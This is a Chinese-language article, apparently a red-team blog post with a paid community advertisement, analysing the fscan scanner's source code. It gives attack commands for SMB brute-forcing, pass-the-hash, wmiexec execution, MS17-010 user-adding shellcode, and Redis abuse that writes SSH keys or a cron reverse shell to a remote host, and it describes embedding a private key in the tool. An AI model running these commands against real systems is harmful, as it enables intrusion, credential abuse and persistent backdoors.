零、前言
如何熟悉你常使用的工具?
无异于就是阅读该工具的代码,大致了解整体逻辑,以便将工具发挥最大威力,甚至根据自己所需进行魔改。
可以说每一个你常用的工具,最起码都应该了解下它的底层代码运行逻辑,不要求多么精细,但至少做到心里有个底。
本篇文章就是以 Fscan 为例进行代码分析讲解,不是特别深入刚刚好。
前几天 Freebuf帮会联合炼石计划@渗透红队攻防开展了一期公开直播课,就是以本篇文章进行的视频讲解。
有录播,在后台留言关键字 fscan 就可以获取。
给自己帮会打个小广告,因为【炼石计划@渗透红队攻防】刚上线 Freebuf 帮会,并得到官方补贴,原价 133 一年,199 永久。
限时限额 50 名加入仅需 69 一年,99 永久。
目前还剩名额不多,速度抢不会亏。
【炼石计划@渗透红队攻防】
是一个专注渗透红队攻防的内部圈子,多维度分享和红队攻防息息相关的内容,包括但不限于 Java 代码审计,PHP 代码审计,Web进阶渗透,红队攻防实战总结,漏洞复现等内容。2023年核心主题是【红队攻防一百篇】,传递一手的红队攻防,黑灰对抗,护VV等实战经验,第一时间总结,第一时间反馈,让大家第一时间学习吸收到最新的技术,打破信息传递壁垒。
当然,内部圈子不仅有【渗透红队攻防实战 100 篇】的飞升期的武功秘籍,还有【Java安全基础 15 篇(已完成)】、【JavaWeb代码审计基础 15 篇(已完成)】、【PHP之WEB安全基础 13 篇(已完成)】、【Python基础 8 篇(已完成)】、【漏洞复现 50 篇(分享中)】、【CMS系统代码审计 10 套- 20 篇(分享中)】、【内部 CS 插件】等筑基期的武功秘籍。总之这里从基础到进阶都所有涉及,最终在实战秘籍中提升自己!
备注:原创文章与知识星球内容同步更新,后续计划将星球人员逐步迁移到帮会中。
进入正题
一、简介
源码地址如下:
https://github.com/shadow1ng/fscan
fscan是一款优秀的内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
作者给出的编译命令:
go build -ldflags="-s -w " -trimpath main.go upx -9 fscan.exe (可选,压缩体积)
拖进编辑器简单看看代码的执行流程,先从程序的入口main函数开始阅读
var Info common.HostInfo的结构 ### commonconfig.go type HostInfo struct { Host string Ports string Url string Infostr []string }
参数传递会依次经过common.Flag(&Info)->common.Parse(&Info)-> Plugins.Scan(Info)
对比作者开源地址中的使用说明
接着对照功能描述,进一步对代码阅读和功能改造
二、基础扫描
根据以上,简单了解fscan的基础扫描功能有哪些,功能包括IP、端口扫描、用户名密码爆破、代理、线程、开关等
# IP、端口扫描 flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt") flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh") # 扫描类型 flag.BoolVar(&Silent, "silent", false, "silent scan") # 不打印日志 flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389") flag.StringVar(&PortFile, "portf", "", "Port File") flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
# 设置代理
flag.StringVar(&UrlFile, "uf", "", "urlfile")
flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
# 线程、开关等设置
flag.BoolVar(&IsWmi, "wmi", false, "start wmi")
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password")
flag.BoolVar(&NoPing, "np", false, "not to ping")
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
flag.Int64Var(&Timeout, "time", 3, "Set timeout")
flag.IntVar(&Threads, "t", 600, "Thread nums")
flag.IntVar(&BruteThread, "br", 1, "Brute threads")
flag.IntVar(&PocNum, "num", 20, "poc rate")
flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout")
# 用户名密码爆破
flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
flag.StringVar(&Username, "user", "", "username")
flag.StringVar(&Password, "pwd", "", "password")
flag.StringVar(&Userfile, "userf", "", "username file")
flag.StringVar(&Passfile, "pwdf", "", "password file")
这里我比较感兴趣的内容是扫描端口类型功能和账号密码爆破功能,我们侧重来阅读
其中根据 flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh"),我们全局搜索Scantype关键字
func Scan(info common.HostInfo) { fmt.Println("start infoscan") Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) if err != nil { fmt.Println("len(hosts)==0", err) return } .............中间省略 } else { scantype := strconv.Itoa(common.PORTList[common.Scantype]) AddScan(scantype, info, &ch, &wg) } }
在Pluginsscanner.go的Scan函数当中支持多种类型的扫描探测
common.Scantype
是一个表示扫描类型的字符串变量。它有以下几种取值:
-
"all":对主机进行所有漏洞扫描;
-
"main":对主机进行主要的漏洞扫描,包括 MS17-010、SMB、Web、WMI 等;
-
"ms17010":只进行 MS17-010 的漏洞扫描;
-
"smb":只进行 SMB 服务的漏洞扫描;
-
"webonly":只进行 Web 服务的漏洞扫描;
-
"webpoc":只进行基于 Web 的 PoC 验证;
-
"hostname":只对 NetBIOS 主机名进行探测;
-
其他整数或字符串:只对指定端口号进行漏洞扫描。
程序在根据 common.Scantype
的取值进行不同的扫描任务时,控制了漏洞扫描的深度和范围。通过改变 common.Scantype
的取值,用户可以选择自己想要扫描的漏洞类型或端口
具体的参数取值则可以参照common.PORTList
# 根据选择-m 参数指定调用Plugins目录下的go模块 # 例如作者举出的实战中常用的 #### fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行) fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) go run .main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息) go run .main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量) #### var PORTList = map[string]int{ "ftp": 21, "ssh": 22, "findnet": 135, "netbios": 139, "smb": 445, "mssql": 1433, "oracle": 1521, "mysql": 3306, "rdp": 3389, "psql": 5432, "redis": 6379, "fcgi": 9000, "mem": 11211, "mgo": 27017, "ms17010": 1000001, "cve20200796": 1000002, "web": 1000003, "webonly": 1000003, "webpoc": 1000003, "smb2": 1000004, "wmiexec": 1000005, "all": 0, "portscan": 0, "icmp": 0, "main": 0, }
# 熟悉了这些参数功能后,在实战中就可以快捷使用,比如结合收集到目标内网当中通用的用户名和口令就可以单独收集成一个字典,通过 fscan.exe -h x.x.x.x -m smb -userf user.txt -pwdf pwd.txt 来进行快速爆破
三、内置私钥快速利用写后门
fscan是可以对redis进行快速利用的,相关的参数包括
### commonflag.go # redis写反弹shell、写key、执行命令、写后门 flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)") flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)") flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ") flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
我们一个一个来,先来看SshKey的功能
这段代码是一个用于 SSH 连接的函数,可以在用户指定 SSH 主机和账号密码或密钥的情况下进行 SSH 登录,并返回登录结果。具体实现过程如下:
首先通过传入的 common.HostInfo
对象获取主机 IP 地址和端口号,并根据传入的 user
和 pass
参数来建立身份验证所需的认证方式数组 Auth
。如果用户已经提供了 SSH 密钥文件路径,则从对应文件中加载密钥并添加到 Auth
中。否则认为用户将使用用户名和密码进行登录,因此将密码作为认证方式添加到 Auth
中。
之后,程序使用 ssh.Dial
函数尝试建立 SSH 连接。如果连接成功,则说明认证成功,返回一个标志位 true
,否则说明认证失败,返回一个标志位 false
,并且返回错误信息。
接下来的实验通过ssh-keygen生成公钥和私钥
将公钥写入cat id_rsa.pub >> authorized_keys,私钥拉到本地
改造内置私钥到fscan中会更加方便快捷,这里特别需要注意私钥的格式
有可能使用的编辑器在粘贴私钥的时候格式不正确,导致使用失败,比如:
改造后不需要在指定本地的私钥
redis在写公钥的相关利用上也是类似的道理,我们来看看代码,添加个内置的公钥
flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)") flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)") flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ") flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
改造后的效果,不需要再指定本地文件,鉴于篇幅原因可自行查看代码
四、POC利用
flag.StringVar(&URL, "u", "", "url") flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") flag.StringVar(&PocPath, "pocpath", "", "poc file path") flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key") flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add") flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc")
fscan是支持加载自定义的poc的,poc的位置存放于WebScanpocs,能够模糊匹配
fscan也支持url批量检测,这里使用鹰图随机导出一些存在shiro指纹的url,使用fscan添加请求头进行检测
根据自己的需要进行定制和组合使用,这里不多叙述
五、实现输出压缩包加密功能
flag.StringVar(&TmpOutputfile, "o", "result.txt", "Outputfile") flag.BoolVar(&TmpSave, "no", false, "not to save output log")
flag.StringVar(&TmpOutputfile, "o", "result.txt", "Outputfile")
定位到相关功能处,添加WriteZipFile,压缩包密码为lianshijihua
效果如图,不再直接输出results.txt,查看结果需要输入压缩包解压密码
通过对压缩包进行加密,可以有效地提高数据的保护性,可以防止数据泄露或者被未经授权的用户访问
六、总结
本文通读fscan的源代码,对fscan的工作原理和相关参数有了比较清晰的了解,通过对fscan的功能通读有利于实战过程中快速组合命令进行渗透,并根据实际使用增加内置密钥,添加压缩包加密的功能。
交个朋友,有事找我
原文始发于微信公众号(闪石星曜CyberSecurity):通过阅读代码了解你所使用的工具 - 以 Fscan 为例 || 搭配视频
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论